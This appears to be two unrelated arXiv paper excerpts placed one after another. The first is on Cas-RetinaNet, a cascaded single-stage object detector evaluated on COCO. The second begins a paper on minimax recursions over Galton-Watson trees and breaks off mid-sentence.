Cascading multiple stages is a simple idea to obtain more accurate confidence and higher localization performance. There have been attempts~\cite{CascadeRCNN, ConsistentOptimization, CascadeRPN, RefineDet, FA-RPN, DeepProposal} that apply cascade-like manner to reject easy samples at early stages, and perform bounding box regression iteratively. However, conventional methods (especially the one-stage ones) ignore the feature consistency between different cascade stages since most of them extract features from the original position using a fully convolutional manner. Two-stage detectors generate predictions based on the region features extracted by RoI-Pooling~\cite{FastRCNN} or RoI-Align~\cite{MaskRCNN}. These operations reduce the misalignment between stages since the feature does not correlate with the anchor centers strongly. As for the one-stage approaches, sliding window scheme leads to well alignments between anchor feature and anchor centers. Refined anchors for the next stage are associated with the feature extracted from the previous location, which leads to limited detection performance.
\section{Analysis in Cascade Manner}
\begin{figure}[!t]
\centering
\subfigure[First Stage]{
\begin{minipage}{0.47\linewidth}
\centering
\includegraphics[width=\linewidth]{images/cls_reg_distribution_stage1.png}
\end{minipage}
}
\subfigure[Second Stage]{
\begin{minipage}{0.47\linewidth}
\centering
\includegraphics[width=\linewidth]{images/cls_reg_distribution_stage2.png}
\end{minipage}
}
\caption{The correlation between the IoU of bounding boxes with the matched ground-truth and the classification confidence for different cascade stages. The red line represents the ideal situation. (a) Misalignment in the first stage, especially for the confidences near IoU@0.5. (b) Improved consistency between classification and regression in the second stage using increased IoU threshold.}
\label{fig:distribution}
\vspace{-0.3cm}
\end{figure}
In this section, we mainly talk about a simple but vital question: \textit{what kind of stages can be cascaded in single-stage architecture}? From our perspective, there are two pivotal designing rules: improving consistency between classification confidence and localization performance, and maintaining feature consistency between stages.
\subsection{Misaligned Classification and Localization}
\label{sec:misaligned_cls}
Generally speaking, performing classification and regression multiple times can gradually improve the results especially the localization performance for two-stage detectors~\cite{CascadeRCNN}. However, we find that simply adding extra stages with the same setting as the original one does not work for single-stage detectors. During the analysis, we find that the reason for this phenomenon mainly lies in \textit{the inconsistency between classification confidence and localization performance}. In cascade single-stage detector, pre-defined anchors are used as the input of the first stage, and regression offsets are added to generate the refined anchors which are viewed as the input of the second stage. As illustrated in Figure~\ref{fig:distribution} (a), the bounding boxes with higher IoU are not well associated with higher classification confidences in the first stage, especially for the confidences near IoU@$0.5$.
The misaligned confidences lead to confused ranking which limits the overall performance.
In order to reduce this negative effect, we change the decision condition of positive samples for the following stages by increasing the IoU thresholds, such that samples with higher quality are chosen as positive.
However, excessively large IoU thresholds lead to exponentially smaller numbers of positive training samples, which can degrade detection performance~\cite{CascadeRCNN}. From our experiments, we find that gradually increasing the IoU threshold leads to boosted performances.
\subsection{Feature Inconsistency}
Most single-stage methods perform feature extraction via sliding window based on the anchor location. The sliding window schemes obtain well alignments between anchor feature and anchor centers since the features are extracted in a fully convolutional manner. For instance, RetinaNet attaches a small fully convolutional network which consists of four convolutions for feature extraction and a single convolution layer for prediction in different branches. The prediction of each position on the feature map contains classification and regression for various anchor shapes.
\begin{figure}[!t]
\centering
\subfigure[Original image]{
\begin{minipage}{0.42\linewidth}
\centering
\includegraphics[width=\linewidth]{images/misalign_a.jpg}
\end{minipage}
}
\subfigure[Feature grid]{
\begin{minipage}{0.42\linewidth}
\centering
\includegraphics[width=\linewidth]{images/misalign_b.jpg}
\end{minipage}
}
\caption{Demonstrative case of the feature misalignment between the original anchor and the refined anchor. (a) The green bounding box stands for the ground truth and the orange one represents the original anchor. The refined anchor is shown as the red bounding box. (b) Location of center points for original and refined anchors in the feature grid. Simply extracting features from the previous location (orange point) is inaccurate.}
\label{fig:misalignment}
\vspace{-0.3cm}
\end{figure}
In cascade manner, anchors are transformed to different positions after applying the regression offsets. As shown in Figure~\ref{fig:misalignment} (a), the original anchor (orange box) is regressed to the red one as the result. From the perspective of the feature grid (b), anchor feature is extracted from the orange point using a small fully convolutional network. If we simply add new stages based on the same feature map, it means that the feature of the refined anchor is still extracted from the orange point, leading to feature inconsistency.
The misalignment of anchor feature and anchor position will severely harm the detection performance. To maintain the feature consistency between different stages, the features of the refined anchors should be adapted to new locations.
\section{Cascade RetinaNet}
In this section, we first review the RetinaNet and then introduce the proposed Cas-RetinaNet, which is a unified network with cascaded heads attached to RetinaNet. The overall architecture is illustrated in Figure~\ref{fig:architecture}.
\subsection{RetinaNet}
RetinaNet~\cite{FocalLoss} is a representative architecture of single-stage detection approaches with state-of-the-art performance. It can be divided into the backbone network and two task-specific subnetworks. Feature Pyramid Network (FPN) is adopted as the backbone network for constructing a multi-scale feature pyramid efficiently. On top of the feature pyramid, classification subnet and box regression subnet are utilized for predicting categories and refining the anchor locations, respectively. Parameters of the two subnets are shared across all pyramid levels for efficiency. Due to the extreme foreground-background class imbalance, Focal Loss is adopted to prevent the vast number of easy negatives from overwhelming the detector during training.
\subsection{Cas-RetinaNet}
\begin{figure}[!t]
\centering
\includegraphics[width=0.75\linewidth]{images/architecture.pdf}
\caption{Different architectures of single-stage detection frameworks. ``I'' is input image, ``conv'' backbone convolutions, ``H'' fully convolutional network head, ``B0'' pre-defined anchor box, ``C'' classification, ``B1, B2'' the refined anchor for different stages. Adapted feature map (``FM'') is generated using FCM for feature consistency.}
\label{fig:architecture}
\end{figure}
\textbf{Cascaded detection.} The difficult detection task can be decomposed into a sequence of simpler stages in a cascaded manner. Outputs from the previous stage are viewed as the input of the following stage. Generally speaking, the loss function for the $i$-th stage can be formulated as
\begin{equation}
\mathcal{L}^i=\mathcal{L}_{cls}(c_i(x^i), y^i)+\lambda^i \mathbbm{1}[y^i\ge 1]\mathcal{L}_{loc}(r_i(x^i, b^i), g),
\end{equation}
where $x^i, c_i$ and $r_i$ stand for the backbone features, classification head and regression head for the $i$-th stage, respectively. $b^i$ and $g$ represent the predicated and ground truth bounding boxes, and $b^0$ the pre-defined anchors. Anchor labels $y^i$ are determined by calculating the IoU between $b^i$ and $g$. Specifically, $b^i$ are assigned to ground-truth object boxes using an IoU threshold of $T^i_{+}$; and to background if their IoU is in $[0, T^i_{-})$. As each input box is assigned to at most one object box, $y^i$ are obtained by turning the class label into the one-hot vector. Unassigned samples are ignored during the training process. Based on this, original Focal Loss and $\mathrm{Smooth}_{L1}$ loss~\cite{FocalLoss} are adopted as $\mathcal{L}_{cls}$ and $\mathcal{L}_{reg}$. The indicator function $\mathbbm{1}[y^i\ge 1]$ equals to 1 when $y^i\ge 1$ and 0 otherwise. $\lambda^i$ is the trade-off coefficient and is set to 1 by default. The overall loss function for cascade detection becomes
\begin{equation}
\mathcal{L}=\alpha_1\mathcal{L}^1+\alpha_2\mathcal{L}^2+\cdots+\alpha_i\mathcal{L}^i+\cdots+\alpha_N\mathcal{L}^N.
\end{equation}
Trade-off coefficients $\alpha_1,\cdots,\alpha_N$ are set to 1 by default.
\textbf{Consistency between classification and localization.} As analyzed in Section~\ref{sec:misaligned_cls}, there is a huge gap between the classification confidence and localization performance in the first stage. The main reason lies in the sampling method as it decides the training examples as well as their weights. To be specific, $y^1$ are set to the class label if $IoU(b^1, g)\ge T^1_{+}(0.5)$ no matter the actual IoU is 0.55 or 0.95. A simple idea is gradually increasing the foreground IoU thresholds to constrain the classification confidence to be consistent with localization performance. We empirically increase the IoU threshold for the following stages such as $T_{+}^2=0.6$. As shown in Figure~\ref{fig:distribution} (b), feature consistency between classification and localization is improved. Note that the regression targets for $b^{i-1}$ and $b^i$ can be different, we re-assign the boxes to new ground truths at each different stage. Corresponding classification labels and regression targets are generated using the specified thresholds.
\textbf{Feature Consistency Module.} From the formulation above, we predict the classification scores and regression offsets based on the backbone feature $x^i$. Current cascade detectors usually adopt the same $x$ in multiple stages, which introduces feature misalignment as the location shifts are not considered. From our perspective, we hope to \textit{encode the current localization into the features of next stage}, just like transforming the location from the orange point to the red one in Figure~\ref{fig:misalignment}. We propose a novel FCM to adapt the feature to the latest location. As illustrated in the right part of Figure~\ref{fig:architecture} (c), a transformation offset from the original position to the refined one is learned based on $x^i$, and a deformable convolutional layer is utilized to produce the adapted feature $x^{i+1}$. FCM can be formulated as follows:
\begin{equation}
x^{i+1} = FCM(x^i) = Deformable(x^i, offset(x^i)).
\end{equation}
Specifically, a $1\times 1$ convolution layer if adopted on top of $x^i$ for generating offsets for the $3\times 3$ bins in deformable convolution~\cite{Deformable}. Then a $3\times 3$ deformable convolution layer takes $x^i$ and the offsets to produce a new feature map $x^{i+1}$. It should be noted that Guided Anchoring~\cite{GuidedAnchor} also adopts deformable convolutions to align the features, but the main purpose is to improve the inconsistent representation caused by the predicted irregular anchor shapes. From the experiments, we prove that our proposed FCM can steadily improve the detection performance in different settings.
\section{Experiments}
\subsection{Experimental Setting}
\textbf{Dataset and evaluation metric.} Experimental results are presented on the bounding box detection track of the challenging MS COCO benchmark~\cite{COCO}. Following the common practice~\cite{FocalLoss}, we use the COCO \texttt{trainval35k} split (union of 80k images from \texttt{train} and a random 35k subset of images from the 40k image \texttt{val} split) for training and report the detection performance on the \texttt{minival} split (the remaining 5k images from \texttt{val}). The COCO-style Average Precision (AP) is chosen as the evaluation metric which averages AP across IoU thresholds from 0.5 to 0.95 with an interval of 0.05.
\textbf{Implementation Details.} We adopt RetineNet~\cite{FocalLoss} with ResNet-50~\cite{ResNet} model pre-trained on ImageNet~\cite{ImageNet} dataset as our baseline. All models are trained on the COCO \texttt{trainval35k} and tested on \texttt{minival} with image short size at 600 pixels unless noted. Original settings of RetinaNet such as hyper-parameters for anchors and Focal Loss are followed for fairly comparison. For the additional stages, we follow the original architecture of RetinaNet head, except for the changes in IoU thresholds and the proposed FCM. Classification loss and regression loss are found to be unbalanced in our experiments, so $\lambda$ is set to 2 for each stage. At inference time, regression offsets from different cascade stages are applied sequentially to the original anchors. Classification scores from different stages are averaged as the final score to achieve more robust results. We conduct ablation studies and analyze the impact of our proposed Cas-RetinaNet with various design choices.
\subsection{Ablation Study}
\begin{table}[!t]
\input{tables/threshold.tex}
\caption{Ablation study for different IoU thresholds on COCO \texttt{minival} set. ``IoU'' means the foreground IoU threshold for the second stage. ``AP'' stands for the primary challenge metric for COCO dataset. ``Scale'' means the short side of input images.}
\label{tab:threshold}
\end{table}
\textbf{Comparison with Different IoU Thresholds.}
Detection performances are compared under different IoU thresholds on COCO dataset in Table~\ref{tab:threshold}. We first prove that simply adding a new stage with the same setting brings no gains for the detection accuracy. AP drops slightly or keeps unchanged for the Cas-RetinaNet with IoU threshold 0.5. We argue that the reason mainly lies in the misaligned classifications like the distribution shown in Figure~\ref{fig:distribution} (a), due to the unchanged sampling method. When the foreground threshold is increased to 0.6 for the second stage, we observe a reasonable improvement ($33.8\rightarrow 34.4$). Here we also try a higher IoU threshold 0.7 for the second stage. It clearly shows that improvements focus on higher IoU thresholds such as $\mathrm{AP}_{90}$, while the $\mathrm{AP}_{50}$ drops slightly. From our perspective, higher foreground IoU threshold brings training samples with higher quality, while the quantity becomes fewer. For simplicity and robustness, We choose 0.6 as the foreground IoU threshold for the second stage. Further experiments with a different input scale indicate a similar conclusion and show the effectiveness of our method.
\begin{table}[!t]
\input{tables/FCM.tex}
\caption{Ablation study for FCM on COCO \texttt{minival} set. Settings can be referred as Table~\ref{tab:threshold}. Foreground IoU threshold is set to 0.6 for all experiments.}
\label{tab:FCM}
\end{table}
\textbf{Feature Consistency Module.}
We adopt various experiments under different backbone capacities and input scales to validate the effectiveness of our proposed FCM in Table~\ref{tab:FCM}. Misalignments are ubiquitous in cascaded single-stage detectors and limit the detection performance. Benefit from the adapted feature map produced by FCM, the performances under different settings are improved by $\sim$ 1 point steadily. Note that the deformable part in FCM requires longer time to converge, we extend training time to 1.5$\times$. It is a fair comparison since little improvements are observed for RetinaNet when training with a 2$\times$ setting~\footnote{https://github.com/facebookresearch/detectron}. From the experiments, we show that our proposed FCM is simple but effective since it only consists of a convolution for producing offsets and a convolution for capturing the effective features considering the misalignments.
\begin{table}[!t]
\input{tables/stages.tex}
\caption{Ablation study for number of stages on COCO \texttt{minival} set. $\overline{1\sim 3}$ indicates the ensemble result, which is the averaged score of the three classifiers with the 3rd stage boxes.}
\label{tab:numbers}
\end{table}
\textbf{Number of stages.}
The impact of the number of stages is summarized in Table~\ref{tab:numbers}. Adding a second detection stage improves the baseline detector by 1.5 points in AP. However, the addition of the third stage ($T^3_{+}=0.7$) leads to a slight drop in the overall performance, while it reaches the best performance for high IoU levels. Cascading two stages achieves the best trade-off for Cas-RetinaNet.
\textbf{Complexity and speed.}
The computational complexity of Cas-RetinaNet increases with the number of cascade stages. For each new stage, the additional complexity comes from both the FCM and the head part. Compared to the backbone, the increased computational cost is really small. We evaluate the inference speed for both original RetinaNet and Cas-RetinaNet with ResNet-50 on a single RTX 2080TI GPU. As for the majority setting (adding one new stage with image short size at 800 pixels), Cas-RetinaNet achieves about 10 FPS and the original RetinaNet is about 12.5 FPS. Note that we apply the same head part as RetinaNet for the new stages to highlight the inconsistency problem, we believe that the complexity can be reduced by simplifying the head design.
\subsection{Comparison to State-of-the-Art}
The proposed Cas-RetinaNet is compared to state-of-the-art object detectors (both one-stage and two-stage) in Table~\ref{tab:overall}. Standard COCO metrics are reported on the \texttt{test-dev} set. Cas-RetinaNet improves detection performance on RetinaNet consistently by $1.5\sim 2$ points, independently of the backbone. Under ResNet-101 backbone, our model achieves state-of-the-art performances and outperforms all other models without any bells or whistles.
\begin{table}[!t]
\input{tables/overall.tex}
\caption{Cas-RetinaNet vs. other state-of-the-art two-stage or one-stage detectors (single-model and single-scale results). We show the results of our Cas-RetinaNet models based on Resnet-50 and Resnet-101 with 800 input size. ``$\dagger$'' indicates that model is trained with scale jitter and for 1.5$\times$ longer than original ones. The entries denoted by ``*'' used bells and whistles at inference.}
\label{tab:overall}
\end{table}
\subsection{Discussion}
An interesting question is how to compare cascade single-stage detectors with two-stage ones. Generally speaking, the main difference lies in whether using the region-crop layer. Region features are powerful but add a lot of complexity as the number of region of interest (RoIs) increases. In other words, cascade single-stage methods are more concise and flexible due to the fully convolutional architecture. As for feature extraction, the deformable convolution in Cas-RetinaNet aggregates features from other semantic points to generate ``region features''. Consequently, it will be a better framework for object detection.
\section{Conclusion}
In this paper, we take a thorough analysis of the single-stage detectors and point out two main designing rules for the cascade manner which lies in maintaining the consistency. A multistage object detector named Cas-RetinaNet is proposed to address these problems. Sequential stages trained with increasing IoU thresholds and a novel Feature Consistency Module are adopted to improve the inconsistency. We conduct sufficient experiments and the stable detection improvements on the challenging COCO dataset prove the effectiveness of our method. We believe that this work can benefit future object detection researches.
\section*{Acknowledgement}
This work is partially supported by National Key R\&D Program of China (No.2017YFA0700800), Natural Science Foundation of China (NSFC): 61876171 and 61572465.
|
1,477,468,750,021 | arxiv | \section{Introduction}
In this paper we consider the behaviour of minimax recursions
defined on random trees.
Consider a finite rooted tree with depth $m$. We will call the root ``level 0", the children of the root ``level 1", and so on. Suppose every node at levels $0,1,\dots, m-1$ has at least one child; the nodes at level $m$ are all leaves.
Suppose every leaf node (i.e.\ every node at level $m$) has
some real value associated to it. Then
recursively propagate the values towards the root
in a minimax way: each node at an odd level gets
a value which is the max of the values of its children,
and each node at an even level gets a value which is
the min of the values of its children.
This minimax procedure has a natural interpretation
in terms of a two player game. Two players alternate turns;
a token starts at the root, and a move of the game consists
of moving the token from its current node to one of
the children of that node. The leaf nodes are terminal
positions; the outome of the game is the value associated
to the leaf node where the game ends. Player 1 is
trying to minimise this outcome, and player 2 is trying
to maximise it. The outcome of the game with ``optimal play"
is the value associated to the root.
Suppose the terminal values are random, drawn independently from some common distribution.
Pearl \cite{Pearl} considered the case where the tree is regular (every non-leaf node has $d$ children for some $d\geq 2$) and the terminal values are independent and uniformly distributed
on the interval $[0,1]$.
For simplicity assume that the depth of the tree is even;
write $W_{2n}$ for a random variable representing
the value at the root of a tree of depth $2n$.
Pearl showed that $W_{2n}$ converges in distribution
to a constant as $n\to\infty$. This result
was refined by Ali Khan, Devroye and Neininger
\cite{ADN}, who derived an asymptotic distribution
for $W_{2n}$ after appropriate rescaling.
In this paper we consider the case where the tree is given by a Galton-Watson branching process, truncated at level $2n$. This generalisation leads to a surpsingly rich variety of behaviour,
depending on the offspring distribution of the branching process.
For example, the limiting distribution of $W_{2n}$
may be concentrated at a single point (as in the regular case), or may now have several atoms, or may even be continuous.
There is also a rich interplay between the two sources of randomness now present in the model (the tree itself, and the terminal values at the leaves). Suppose we play the game on a tree with many levels, so that the terminal values are far from the root. In order to be confident of playing a good first move, do we need to see the whole tree and terminal values, or can we play close to optimally by inspecting just the structure of the first few levels of the tree? Such questions can be formulated precisely in terms of the
\textit{endogeny} property for certain recursive
tree processes, as introduced by \cite{AldBan}.
The answers again depend in an interesting way on the offspring distribution.
Such questions concerning the relative importance
of local tree structure and terminal values are of
considerable interest in understanding the
effectiveness of certain tree-search algorithms such
as \textit{Monte Carlo tree search} (MCTS) -- see
\cite{MCTSsurvey} for a survey. MCTS has famously
been applied in recent years to games such as go,
where it provided a considerable increase in playing
strength \cite{MCTSgo} even before being allied with powerful deep learning techniques \cite{alphago}.
For some games, simple versions of these algorithms,
without local evaluation functions, and with
only very crude input from the terminal values
(given for example by ``random rollouts"
through unexplored parts of the tree),
are nonetheless able to converge quickly towards
good lines of play. Understanding which
aspects of a game's structure make
such convergence possible is an interesting challenge both
in theoretical and in practical terms.
Our main resuts concerning distributional limits are presented
in the next section. In Section \ref{sec:examples} we discuss a range of examples and mention some open problems. The results about endogeny are given in Section \ref{sec:endogeny}.
The main proofs are given in Section \ref{sec:distribution_proofs}
and Section \ref{sec:endogeny_proof}.
Before that we mention some recent related work.
Broutin, Devroye and Fraiman \cite{BroutinDevroyeFraiman}
consider recursive distributional equations
(including those of minimax type) defined on
Galton-Watson trees conditioned to have a given
total size $n$. Holroyd and Martin \cite{HolroydMartin}
consider minimax-type games (and various mis{\`e}re and
asymmetric variants) defined on (perhaps infinite)
Galton-Watson trees, with particular emphasis
on the nature of
phase transitions for the outcomes of the game as the
underlying offspring distribution varies
(see Section \ref{sec:examples} for
further comments). Note that in both
\cite{BroutinDevroyeFraiman} and \cite{HolroydMartin},
unlike in the case of this paper, the offspring
distribution puts positive weight at $0$,
so that there are leaves close to the root.
Similar questions arise in the context of
random \textsc{AND/OR} trees and random Boolean functions.
For example the model of Pemantle and Ward
\cite{Pemantle} involves a regular tree in which
each node independently is a max or a min with
equal probability; see Section \ref{subsec:comments_identity}
for comments on the relation to a particular case of our model. See for example Broutin and Mailler \cite{BroutinMailler} for a variety of recent results in a more general setting, and many relevant references.
\subsection{Main results}
Consider a Galton-Watson tree with an offspring distribution with mass function
$p_1, p_2, p_3,\dots$ on $\{1,2,3,\dots\}$ (note that every individual has at least
one child). Let $G(x)=\sum_{k=0}^\infty p_k x^k$ be the probability generating
function of the offspring distribution (which is a strictly increasing function
mapping $[0,1]$ to $[0,1]$ bijectively). We will also write
throughout
\begin{gather}
\label{Rdef}
R(x)=1-G(x)
\\
\intertext{and}
\label{fdef}
f(x)=R(R(x)).
\end{gather}
Truncate the tree at level $2n$, so that all the
vertices at level $2n$ are leaves. Let the
terminal values associated to the leaves be i.i.d.\
uniform on $[0,1]$ (independently of the structure of the
tree). Recursively, assign values to the internal nodes
of the tree (in particular, to the root) using the minimax
procedure defined above. See Figure \ref{fig:minimax-example} for an illustration.
\begin{figure}
\begin{center}
\tikzset{
node_level/.style={draw=none, fill=none}
}
\begin{tikzpicture}
[scale=0.7, transform shape,
level distance=10mm,
every node/.style={circle, draw, fill=red!10},
level 1/.style={sibling distance=66mm, nodes={fill=blue!10}},
level 2/.style={sibling distance=35mm, nodes={fill=red!10}},
level 3/.style={sibling distance=16mm, nodes={fill=blue!10}},
level 4/.style={sibling distance=7mm, nodes={rectangle, fill=white}}]
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child {node (n1) {$\vee$}
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child {node (n1111) {$U_1$}
}
}
child {node (n112) {$\vee$}
child {node (n1121) {$U_2$}}
child {node (n1122) {$U_3$}}
}
}
child {node[label=right:{$W_2^{(1,2)}$}] (n12) {$\wedge$}
child {node (n121) {$\vee$}
child {node (n1211) {$U_4$}}
child {node (n1212) {$U_5$}}
}
child {node (n122) {$\vee$}
child {node (n1221) {$U_6$}}
child {node (n1222) {$U_7$}}
child {node (n1223) {$U_8$}}
}
}
}
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child {node[label=right:{$W_2^{(2,1)}$}] (n21) {$\wedge$}
child {node (n211) {$\vee$}
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}
child {node (n212) {$\vee$}
child {node (n2121) {$U_{10}$}}
}
}
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child {node (n221) {$\vee$}
child {node (n2211) {$U_{11}$}}
child {node (n2212) {$U_{12}$}}
}
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child {node (n2221) {$U_{13}$}}
}
child {node (n223) {$\vee$}
child {node (n2231) {$U_{14}$}}
child {node (n2232) {$U_{15}$}}
child {node (n2233) {$U_{16}$}}
}
}
}
child {node (n3) {$\vee$}
child {node[label=right:{$W_2^{(3,1)}$}] (n31) {$\wedge$}
child {node (n311) {$\vee$}
child {node (n3111) {$U_{17}$}}
}
child {node (n312) {$\vee$}
child {node (n3121) {$U_{18}$}}
child {node (n3122) {$U_{19}$}}
child {node (n3123) {$U_{20}$}
child [grow=right] {node [node_level] (level0) {{ }level 4}
edge from parent[draw=none]
child [grow=up] {node [node_level] (level1) {{ }level 3}
edge from parent[draw=none]
child [grow=up] {node [node_level] (level2) {{ }level 2}
edge from parent[draw=none]
child [grow=up] {node [node_level] (level3) {{ }level 1}
edge from parent[draw=none]
child [grow=up] {node [node_level] (level4) {{ }level 0}
edge from parent[draw=none]
}}}}}}
}
}
};
\end{tikzpicture}
\caption{
\label{fig:minimax-example}
An example of a minimax tree, with $4$ levels.
Here all non-leaf nodes have 1, 2 or 3 children.}
\end{center}
\end{figure}
(Note that there is a nothing particularly special about
uniform boundary conditions. By a simple rescaling we can
map between this case and the case of i.i.d.\ boundary values
from any other continuous distribution. Later we will also consider discrete boundary values, for example those taking values only 0 and 1, where we can interpret 0 as a win for the first player, and 1 as a win for the second player).
We denote by $W_{2n}$ the random variable associated with the root of a tree of depth $2n$. The we have a distributional recursion:
\begin{equation}\label{eq:rde}
W_{2n}\stackrel{d}{=}
\min_{1\leq i\leq M}
\max_{1\leq j\leq M_i}
W^{(i,j)}_{2n-2},
\end{equation}
where $M$ and $M_1,M_2,M_3,\dots$ are i.i.d.\ draws from the offspring distribution,
and $W^{(i,j)}_{2n-2}$, $i,j\in{\mathbb N}$, are i.i.d.\ copies of the random variable
$W_{2n-2}$, independent of $M$ and $\{M_i\}$.
Then a simple generating function computation (see
the beginning of
Section \ref{sec:distribution_proofs}) gives
\begin{equation}
\P\left(W_{2n}\leq x\right)=f\big(\P(W_{2n-2}\leq x)\big),
\label{quantilerecursion}
\end{equation}
where $f$ is defined at (\ref{fdef}).
So to look at the behaviour of the $W_{2n}$ for large $n$,
we will be interested in the function $f$ and in particular
its fixed points.
We begin with the results
for the case of a regular tree.
\begin{theorem}
\label{thm:regular}
Suppose $p_d=1$ for some $d\geq 2$.
\begin{itemize}
\item[(a)]
(Pearl \cite{Pearl})
\[
W_{2n}\stackrel{d}{\to} w \text{ as } n\to\infty,
\]
where $q$ is the unique fixed point in $(0,1)$
of the function $f_{d\operatorname{-reg}}$ defined by
\begin{equation}\label{freg}
f_{d\operatorname{-reg}}(x)=1-\left(1-x^d\right)^d.
\end{equation}
\item[(b)]
(Ali Khan, Devroye and Neininger\cite{ADN})
Let $\xi=f_{d\operatorname{-reg}}'(q)$. Then
\[
\xi^{n}\left(W_{2n}-q\right)\stackrel{d}{\to} W \text{ as } n\to\infty,
\]
where $W$ has a continuous distribution function $F_W$
which satisfies
$F_W(x)=f_{d\operatorname{-reg}}(F_W(x/\xi))$.
\end{itemize}
\end{theorem}
Now we will consider general offspring distributions.
Since $G$ is increasing and bijective as a function from $[0,1]$
to $[0,1]$, we have that $R=1-G$ is decreasing and bijective.
and $f=R\circ R$ is again increasing and bijective.
Also $G$ is analytic on $[0,1)$, so that $f$ is analytic
on $(0,1)$.
We'll be particularly interested in fixed points of the function $f$. The function $R$ itself has a single fixed point, which is obviously also a fixed point of $f$.
Otherwise the fixed points of $f$ come in pairs:
if $q$ is one then so is $R(q)$. One such pair
are the points 0 and 1.
We will say that a fixed point $q$ of $f$
is \textit{unstable from the right} if $q<1$ and
$\displaystyle\lim_{\epsilon\to0}\lim_{n\to\infty}f^n(q+\epsilon)
>q$; similarly \textit{unstable from the left}
if $q>0$ and $\displaystyle\lim_{\epsilon\to0}\lim_{n\to\infty}f^n(q-\epsilon)<q$.
For a regular tree, Theorem \ref{thm:regular}
tells us that the distribution of $W_{2n}$ converges to a constant.
For general distributions, we still have convergence in distribution,
but now we may have a ``genuinely random outcome" in the limit
as the tree becomes large; the limiting distribution may
have more than one atom (and in some surprising cases, the
distribution of $W_{2n}$ can simply be the same uniform distribution for all $n$).
\begin{theorem}
\label{thm:unscaled}
$W_{2n}\stackrel{d}{\to} W$ as $n\to\infty$, for some random variable $W$.
There are two cases.
\begin{itemize}
\item[(a)] If $f$ is the identity function,
then $W_{2n}\sim U[0,1]$ for all $n$.
\item[(b)] Otherwise,
let $Q$ be the set of fixed points of $f$ which are
unstable from at least one side.
Then $W$ is discrete and has atoms precisely at the elements
of $Q$.
For $q\in Q$, define
\begin{align}
\nonumber
q_- {} & = \begin{cases}
\sup\{x: x<q, x=f(x)\},
& \textrm{if $q>0$ and $q$ is unstable from the left}\\ q & \textrm{otherwise}
\end{cases} \\
\label{qminusdef}
q_+ {} & = \begin{cases}
\inf\{x: x>q, x=f(x)\},
& \textrm{if $q<1$ and $q$ is unstable from the right}\\ q & \textrm{otherwise}
\end{cases}.
\end{align}
Then $\P(W=q)=q_+-q_-$.
\end{itemize}
\end{theorem}
It's not hard to show that $x\in Q$ if and only if $R(x)\in Q$. Hence again the atoms of the distributional limit $W$ come in pairs, with the possible exception of the fixed point of $R$. In Section
\ref{subsec:endpoints}, we comment in particular on the case where $W$ has atoms at $0$ and $1$.
For $q\in(0,1)$, we may write (\ref{qminusdef}) alternatively as
$q_-=\displaystyle\lim_{\epsilon\to0}\lim_{n\to\infty}f^n(q-\epsilon)$
and $q_+=\displaystyle\lim_{\epsilon\to0}\lim_{n\to\infty}f^n(q+\epsilon)$ (this follows straightforwardly from the monotonicity
and continuity of $f$).
In the next results we consider fluctuations around the atoms
of the limiting distributions obtained in Theorem \ref{thm:unscaled}(b). The appropriate rescaling around a point $q\in Q$ depends
on the derivative of $\xi=f'(q)$. If $q\in Q$
then we must have $\xi\geq 1$.
\begin{theorem}
\label{thm:rescaled}
Consider the model defined by (\ref{eq:rde}). Assume that $f$ is not the identity function and let $Q$ be the set of fixed points of $f$ unstable from at least one side.
Let $q\in Q$. Define $q_-$ and $q_+$ as at (\ref{qminusdef}), and
let $\xi=f'(q)$. Then:
\begin{enumerate}[(a)]
\item If $1 < \xi < \infty$, then
\begin{align*}
\mathcal{L} \left(\xi^n(W_{2n} - q) \ | \ W_{2n} \in [q_-, q_+] \right) \xrightarrow[]{} \mathcal{L}(V) \textrm{ as } n \rightarrow \infty,
\end{align*}
where $V$ is a random variable with a continuous distribution function.
\label{thm:main_greater_t_1}
\item Suppose $\xi = 1$, and $k\geq 2$ is such that
$f^{(r)}(q)=0$ for $1<r<k$ and $f^{(k)}(q)\ne 0$.
Then
\begin{align*}
\mathcal{L} \left(n^{\frac{1}{k-1}}(W_{2n}-q) \ | \ W_{2n} \in [q_-, q_+] \right) \xrightarrow{} \mathcal{L}(V),
\end{align*}
where for $a = \left( \frac{k(k-2)!}{f^{(k)}(q)} \right)^{\frac{1}{k-1}}$ we have $V=\begin{cases}a & \textrm{w.p. }\frac{q_+-q}{q_+-q_-}\\
-a & \textrm{w.p. }\frac{q-q_-}{q_+-q_-}\end{cases}$.
\label{thm:main_eq_1}
\item If $\xi = \infty$, then $q \in \{0,1\}$. Assume now that
\begin{align}
\mathbb{E}(M \mathbb{I}_{M \leq n}) = \sum_{k=1}^n k p_k \sim c n^\rho \text{ as } n \to \infty
\label{assumption:mean}
\end{align}
for some $c>0$ and $\rho \in (0,1)$, where $M$ is distributed
according to the offspring distribution of the Galton-Watson tree, and let $K= \min\{i : p_i \neq 0\}$. Then $K<1/(1-\rho)$, and
$|f(t)-q| \sim C|t-q|^{K(1-\rho)}$ as $t \to q$ for some $C > 0$. Moreover,
\begin{align*}
\mathcal{L} (-[K(1- \rho)]^n \log |W_{2n}-q| \ | \ W_{2n} \in [q_-, q_+] ) \xrightarrow[]{} \mathcal{L}(Y),
\end{align*}
where $Y$ is a random variable such that $\P(Y \in (0, \infty)) = 1$.
\label{thm:main_eq_inf}
\end{enumerate}
\label{prof:prop_main}
\end{theorem}
The scaling limits in part (a) are the closest ones to
the result for the regular tree from Theorem \ref{thm:regular}.
Note that when $q$ is an endpoint of the interval,
the limiting distribution $V$ is now one-sided, supported
on $(0,\infty)$ when $q=0$ and on $(-\infty,0)$ when $q=1$.
For part (b), recall that $f$ is analytic on $(0,1)$ so certainly
if $q\in(0,1)$, such a $k$ exists. Conceivably, there might be no such $k$ in some cases where $q=0$ or $q=1$ (although we know of
no example where analyticity fails at $0$ or $1$ except when the derivative is infinite).
On the other hand, many cases with $\xi=\infty$ are not covered by part (c). It seems challenging to describe all possible asymptotics;
however, the assumption (\ref{assumption:mean}) is satisfied for an important class of power-law distributions with infinite mean, satisfying $\P(X > x) \sim x^{1-\alpha}$ with $\alpha \in (1,2)$.
\section{Examples, discussion and open questions}
\label{sec:examples}
Our final main results, concerning the endogeny property, will be stated in Section \ref{sec:endogeny}. Before
that, we discuss a variety of examples illustrating
the results of Theorems \ref{thm:unscaled} and \ref{thm:rescaled}.
First consider a case where each node has $1$ or $3$ children.
This simple family already displays an interesting range of behaviours.
Let $p_1=p$ and $p_3=1-p$, for $p\in[0,1]$.
In Figure \ref{figure:ternary}, we plot the function
$f(x)-x$ for $x\in[0,1]$, for a variety of values of $p$.
Fixed points of $f$ correspond to zeros
of the curve. A crossing from negative to positive corresponds
